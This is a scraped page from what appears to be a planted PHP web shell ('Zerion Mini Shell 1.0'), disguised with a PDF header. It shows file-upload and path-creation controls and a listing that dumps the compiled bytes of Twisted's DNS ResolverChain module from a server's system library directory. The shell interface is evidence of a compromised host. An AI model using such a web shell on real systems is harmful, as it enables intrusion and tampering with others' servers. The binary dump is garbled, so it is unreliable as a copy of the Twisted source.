%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/names/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/names/__pycache__/resolve.cpython-312.pyc

�

Ϫ�f����dZddlmZddlmZmZddlmZmZm	Z	Gd�d�Z
eej�Gd�dej��Z
y	)
z�
Lookup a name using multiple resolvers.

Future Plans: This needs someway to specify which resolver answered
the query, or someway to specify (authority|ttl|cache behavior|more?)
�)�implementer)�defer�
interfaces)�common�dns�errorc��eZdZd�Zd�Zy)�FailureHandlerc�.�||_||_||_y�N)�resolver�query�timeout)�selfr
rrs    �7/usr/lib/python3/dist-packages/twisted/names/resolve.py�__init__zFailureHandler.__init__s�� ��
���
����c��|jtjtjt
�|j
|j|j�Sr)	�trapr�DomainErrorr�TimeoutError�NotImplementedErrorr
rr)r�failures  r�__call__zFailureHandler.__call__s6�����S�_�_�e�&8�&8�:M�N��}�}�T�Z�Z����6�6rN)�__name__�
__module__�__qualname__rr�rrr
r
s���
7rr
c�$�eZdZdZd�Zd�Zdd�Zy)�
ResolverChainz8
    Lookup an address using multiple L{IResolver}s
    c�P�tjj|�||_y)zi
        @type resolvers: L{list}
        @param resolvers: A L{list} of L{IResolver} providers.
        N)r�ResolverBaser�	resolvers)rr#s  rrzResolverChain.__init__%s��
	���$�$�T�*�"��rc�L�|js'tjtj��Stj|||�}|jdj||�}|jddD](}|jt|j||��}�*|S)aN
        Build a L{dns.Query} for the given parameters and dispatch it
        to each L{IResolver} in C{self.resolvers} until an answer or
        L{error.AuthoritativeDomainError} is returned.

        @type name: C{str}
        @param name: DNS name to resolve.

        @type type: C{int}
        @param type: DNS record type.

        @type cls: C{int}
        @param cls: DNS record class.

        @type timeout: Sequence of C{int}
        @param timeout: Number of seconds after which to reissue the query.
            When the last timeout expires, the query is considered failed.

        @rtype: L{Deferred}
        @return: A L{Deferred} which fires with a three-tuple of lists of
            L{twisted.names.dns.RRHeader} instances.  The first element of the
            tuple gives answers.  The second element of the tuple gives
            authorities.  The third element of the tuple gives additional
            information.  The L{Deferred} may instead fail with one of the
            exceptions defined in L{twisted.names.error} or with
            C{NotImplementedError}.
        r�N)
r#r�failrrr�Queryr�
addErrbackr
)r�name�cls�typer�q�d�rs        r�_lookupzResolverChain._lookup-s���8�~�~��:�:�e�/�/�1�2�2��I�I�d�D�#�&���N�N�1��#�#�A�w�/�������#�	B�A����^�A�G�G�Q��@�A�A�	B��rNc��|js'tjtj��S|jdj||�}|jddD](}|j
t|j
||��}�*|S)Nrr%)r#rr&rr�lookupAllRecordsr(r
)rr)rr-r.s     rr1zResolverChain.lookupAllRecordsQs|��
�~�~��:�:�e�/�/�1�2�2��N�N�1��.�.�t�W�=�������#�	P�A����^�A�,>�,>��g�N�O�A�	P��rr)rrr�__doc__rr/r1rrrr r s���#�"�H
rr N)r2�zope.interfacer�twisted.internetrr�
twisted.namesrrrr
�	IResolverr"r rrr�<module>r7sN��
�'�.�,�,�	7�	7�
�Z�
!�
!�"�;�F�'�'�;�#�;r

Zerion Mini Shell 1.0